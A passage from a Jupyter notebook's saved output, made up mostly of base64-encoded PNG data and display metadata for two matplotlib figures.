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\n", "text/plain": [ "<Figure size 432x288 with 2 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" }, { "data": { "image/png": "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